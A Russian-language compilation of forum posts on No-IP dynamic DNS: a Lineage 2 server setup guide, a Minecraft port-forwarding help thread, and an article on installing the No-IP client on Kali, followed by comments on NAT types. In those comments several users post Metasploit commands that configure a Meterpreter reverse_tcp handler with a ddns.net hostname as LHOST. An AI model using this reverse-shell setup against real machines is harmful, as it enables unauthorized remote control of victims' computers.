Есть два варианта чтобы реализовать сервер в он-лайне. Первый — это использовать статический IP, другой — использовать NO-IP.
Руководство для NO-IP
1) Качаем — L2FileEdit, или L2EncDecDat.
2) Вам необходим будет действующий e-mail для подтверждения информации.
1) Идем на страничку ——— http://www.no-ip.com/;
2) Жмем «Sign Up Now»!;
3) Заполняем все поля (не пишите неправильный или неработающий мейл);
4) В конце жмем «I agree»;
5) Подтверждаем информацию через мейл;
6) В списке хостов (Hosts/Redirects) жмем Добавить (Add);
7) Внимательно введите имя вашего NO-IP в первом поле(Не изменяйте тип хоста (Host Type), оставьте его DNS HOST (A))
8) Затем выберите ваше расположение(direction) например: no-ip.biz или любое другое из них(Пример: MyServer.no-ip.biz)
9) В поле ИП адрес (IP ADRESS) вбиваем свой ИП. Если вы его не знаете то посетите http://www.whatismyip.com/ (И скопируйте указанный там адрес)
Как сделать сервер Minecraft по no-ip [HD]
10) После оставьте другие поля пустыми и нажмите создать хост (create Host)
11) Открываем снова страницу http://www.no-ip.com/ и переходим к загрузкам Секций(?) (downloads Section);
12) Выбираем вашу операционную систему (Windows, Linux и т.д.);
13) Просто нажимаем загрузить (Download);
14) Затем переходим в папку сервера например: Server/gameserver/config и открываем файл Server.properties.
15) Вводим ваш no-ip в ExternalHostname=myserver.no-ip.biz 16) Еще раз вводим No-IP в InternalHostname=myserver.no-ip.biz 17) Просто в данном файле находим указанные строки и меняем их, после этого находим строку LoginHost и вводим no-ip еще раз
LoginHost=myserver.no-ip.biz 18) Жмем сохранить и закрываем файл.
19) Далее переходим к файлу Логин-сервера например: Server/loginserver/config/ и открываем Server.properties.
20) Находим строки и вписываем ваш no-ip снова в ExternalHostname=myserver.no-ip.biz 21) Находим строку InternalHostname=myserver.no-ip.biz
22) Открываем через L2FileEdit или L2EncDecDat файлик l2.ini из папки system.
23) Изменяем ServerAddr=myserver.no-ip.biz ——- пример
24) Нажимаем сохранить и зашифровать.
25) Сохраняем как .ini файл.
26) Выбираем версию 413 (не 414 или еще какую).
27) После загрузки DUC No-IP. Нажимте кнопку «check» в маленьком окошке и дождитесь пока солнышко там улыбнется..
Перед запуском вашего сервера, откройте «duc No-ip» и оставьте ее открытой пока вы играете.
Затем как обычно запускайте start.bat, startgameserver.bat и startlogin.bat и все .
Вот >>
(В нем есть одна ошибочка тот кто его делал забыл про шаг 16)
Перевод by Casper автор Feelmyspells
по материалам сайта MaxCheaters специально для Zone Game
Источник: forum.zone-game.info
Сервер, используя No-Ip.com
Как настроить сервер майнкрафт по no ip и добавить его в мониторинг серверов? — Ответ тут!
Написал 25.05.2012 — 07:58
Очень хочу создать сервер.
Есть люди, есть желание, есть возможности, есть умение организовать всё это дело.
Столкнулся с проблемой: у меня динамический IP. Ну, ясное дело, сразу сделал всё через Hamachi, но после последнего обновления, в одной сети можно держать не более 5-ти пользователей, да и даже если это не так, то на 3-ем пользователе уже лаги зверские. (Это я сейчас про хамачи)
Друг подсказал открыть порт 25565 (По-умолчанию в Minecraft) и использовать сервис no-ip.com , что я и сделал.
Итак, вот всё, что может понадобиться для того, чтобы вы лучше поняли мою проблему:
Конфиг сервера. Может он и не нужен, но всё же.
allow-nether=truelevel-name=worldenable-query=falseallow-flight=falseserver-port=25565level-type=DEFAULTenable-rcon=falselevel-seed=server-ip=max-build-height=256spawn-npcs=truewhite-list=falsespawn-animals=trueonline-mode=falsepvp=truedifficulty=1gamemode=0max-players=20spawn-monsters=truegenerate-structures=trueview-distance=10motd=A Minecraft Server
Вроде, открыл порт в роутере:
На сайте no-ip.com создал хост с типом Port 80 Redirect. Скачал клиент.
Клиент no-ip показывает что всё окей, вот лог:
05[paste][/paste]25[paste][/paste]2012 07:22:13: ***Logging started[paste][/paste]***05[paste][/paste]25[paste][/paste]2012 07:22:29: Retrieving notices[paste][/paste]php as C3A568519905[paste][/paste]25[paste][/paste]2012 07:22:30: Checking Remote IP address05[paste][/paste]25[paste][/paste]2012 07:22:30: Remote IP Found: тут мой IP
Запустил сервер на ноутбуке.
Захожу в Minecraft с другого компьютера, НО С ТОЙ ЖЕ СЕТИ (если это важно), и захожу на свой север — пишет Time Out Error..
Очень нужна помощь, очень надеюсь на этот форум. Please Help!
#2
MCTeenFun
Написал 25.05.2012 — 08:06
1. ОС (не забудьте так же указать архитектуру системы!). Win7 32-bit2. Конфигурация компьютера. Комп как комп, не знаю что тут написать. Яркость?))3. Версия java. Шестая4. Правильно ли установлена игра? (В какой папке лежит, как устанавливали?) Да, всё окей.5.
Версия игры. 1.2.56. Пиратка или лицензионная версия игры. Лицензия7. Суть проблемы.
Указал8. Если проблемы связаны с интернет-соединением, то ещё и скорость интернета с типом соединения (ADSL или другое).Скорость нета 15 мбитсек, DSL
#3
MCTeenFun
Написал 25.05.2012 — 08:29
Понял, что не правильно указал тип хоста в no-ip. Теперь указал правильный — DNS Host (A). (надеюсь)Добавил его в клиент, та же ошибка на другом компе. Лог сервера не обновлялся, а значит связи с сервером вообще не было.По локалхост с ноутбука-хоста заходит отлично.
#4
MetroiD
- Откуда: FROM ZEBES
Написал 25.05.2012 — 21:50
прот открыл не правильноглянь виртуал серверс, ибо должно быть проброс на определённый айпи(локальный)
Obscurell — скайп, вк.
Личность успешно существует.
Источник: minecrafting.ru
No-IP, или что делать если ip не белый
Всем привет, часто в ветке форума встречаю, что делать если у меня нет белого ip? Один из вариантов это использовать сервис no-ip.Сейчас я постараюсь подробно рассказать как можно его установить в среде всеми нами любимого kali, и так поехали!!
Самое первое это заходим по адресу
Ссылка скрыта от гостей
проходим регистрацию.
далее на этом же сайте скачиваем клиент.
после того как скачали,копируем в удобное место, распаковываем, и переходим в директорию с распакованным пакетом.
Далее командой make install запускаем установку данного пакета.
в процессе указываем свой почтовый ящик,который вводили при регистрации no-ip.
пароль,а также выбираем интервал обновления,я выбрал 5 минут. по умолчанию 30.
Так же у нас спросят Do you wish to run something at successful update?[N] (y/N) — Нажмите «y» чтобы обновить хост сейчас.
Запускается no-ip командой командой no-ip2
Вот и все, как видите ничего сложно.всем спасибо за внимания и удачи.
MAdDog719
Обязательно попробую. Спасибо
m0tion
Можно устанавливать не обязательно на Linux. Я например на роутере(Mikrotik) скрипт поставил.
kot-gor
Grey Team
07.09.2016 530 706
Можно устанавливать не обязательно на Linux. Я например на роутере(Mikrotik) скрипт поставил.
да конечно, здесь я описал один из вариантов..
Vander
CodebyTeam
Gold Team
16.01.2016 1 420 4 334
Наконец-то, кто то это описал)) Все никак руки не доходили. Спасибо за статью.
fvn
Может стоит изменить название на «что делать если ip динамический». В случае серых адресов No-Ip не поможет.
kot-gor
Grey Team
07.09.2016 530 706
Может стоит изменить название на «что делать если ip динамический». В случае серых адресов No-Ip не поможет.
Вы уверены в своем утверждении? Как раз в этом примере что я показывал, no-ip стоит на машине с адресом 192.168. после NAT, адрес самого роутера в сети 10.10. (что и есть серый). Все прекрасно работает!
Последнее редактирование: 17.11.2016
MAdDog719
Что такое не везет
И как с этим бороться?
kot-gor
Grey Team
07.09.2016 530 706
возможно с паролем или логином ошиблись
MAdDog719
возможно, вечером буду дома попробую еще раз.
~^M1st3r_Bert0ni^~
Platinum
19.10.2016 724 3 104
Хотел дополнить ,что если через No-IP юзаем метасплоит , то стоит заметить что в метасплоите в качестве LHOST нужно указывать dns имя выданое нам сервисом( hostname ) и параметром
REVERSELISTENERBINDADDRESS указывать свой локальный IP
Примерно такой список вводимых команд
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST daraknode.ddns.net set REVERSELISTENERBINDADDRESS 192.168.1.200 exploit -j
kot-gor
Grey Team
07.09.2016 530 706
Хотел дополнить ,что если через No-IP юзаем метасплоит , то стоит заметить что в метасплоите в качестве LHOST нужно указывать dns имя выданое нам сервисом( hostname ) и параметром
REVERSELISTENERBINDADDRESS указывать свой локальный IP
Примерно такой список вводимых команд
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST daraknode.ddns.net set REVERSELISTENERBINDADDRESS 192.168.1.200 exploit -j
И не забыть пробросить нужные порты в роутере .
m0tion
Хотел дополнить ,что если через No-IP юзаем метасплоит , то стоит заметить что в метасплоите в качестве LHOST нужно указывать dns имя выданое нам сервисом( hostname ) и параметром
REVERSELISTENERBINDADDRESS указывать свой локальный IP
Примерно такой список вводимых команд
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST daraknode.ddns.net set REVERSELISTENERBINDADDRESS 192.168.1.200 exploit -j
У меня всё проще. Достаточно указать LHOST = IP машины с msf и пробросить порты в роутере
kot-gor
Grey Team
07.09.2016 530 706
у вас белый статический ip, у многих такое отсутствует.
Последнее редактирование: 17.11.2016
DoberGroup
Вы уверены в своем утверждении? Как раз в этом примере что я показывал, no-ip стоит на машине с адресом 192.168. после NAT, адрес самого роутера в сети 10.10. (что и есть серый). Все прекрасно работает!
А как Вы через провайдерский NAT, простите, порты пробрасываете? DDNS это ведь не самоцель, это вспомогательный инструмет
kot-gor
Grey Team
07.09.2016 530 706
А как Вы через провайдерский NAT, простите, порты пробрасываете? DDNS это ведь не самоцель, это вспомогательный инструмет
Я пробрасываю порты только на своем роутере.
DoberGroup
Я пробрасываю порты только на своем роутере.
А смысл?
Вы пишете, что внешний адрес у Вас 10.х.х.х, не маршрутизируемый
Значит — Вы за провайдерским NAT (кстати, каким? Конусным, симметричным, порт-/адрес-определяемым?)
Что Вам даст проброс портов на роутере, их все равно из внешнего мира не будет видно?
kot-gor
Grey Team
07.09.2016 530 706
я не смотрел топологию провайдера..хотя интерес вы подогрели,нужно на досуге глянуть.
Ishikawa
Немного теории
Cone NAT
Внутренний адрес (192.168.0.2:2210) проецируются на внешний адрес (1.1.1.2:8801). Любой пакет посланный с 192.168.0.2:2210 будет послан через 1.1.1.2:8801. Любой пакет с внешнего хоста, посланный на адрес 1.1.1.2:8801 будет отправлен на 192.168.0.2:2210
Address-Restricted cone NAT или Restricted cone NAT.
Внутренний адрес (192.168.0.2:2210) проецируются на внешний адрес (1.1.1.2:8801). Любой пакет посланный с 192.168.0.2:2210 будет послан через 1.1.1.2:8801. Пакет с любого порта внешнего хоста, посланный на адрес 1.1.1.2:8801 будет отправлен на 192.168.0.2:2210 только в случае, если 192.168.0.2:2210 предварительно посылал пакет на этот внешний хост.
Port-Restricted cone NAT
Внутренний адрес (192.168.0.2:2210) проецируются на внешний адрес (1.1.1.2:8801). Любой пакет посланный с 192.168.0.2:2210 будет послан через 1.1.1.2:8801. Внешний хост (1.1.1.30:1234) может послать пакет на 192.168.0.2:2210 через 1.1.1.2:8801 только в случае если ранее 192.168.0.2:2210 слал пакет на 1.1.1.30:1234
Symmetric NAT
Каждый пакет с определенного внутреннего IP адреса:порта на определенный внешний IP адрес:порт будет иметь после трансляции уникальный внешний адрес порт. Соответственно, пакет с одного и того-же внутреннего адреса:порта, но посланный на другой внешний хост или порт после трансляции будет иметь другой внешний адрес-порт. Внешние хосты могут послать обратный пакет только на те хосты:порты откуда они получили пакеты.
Источник: codeby.net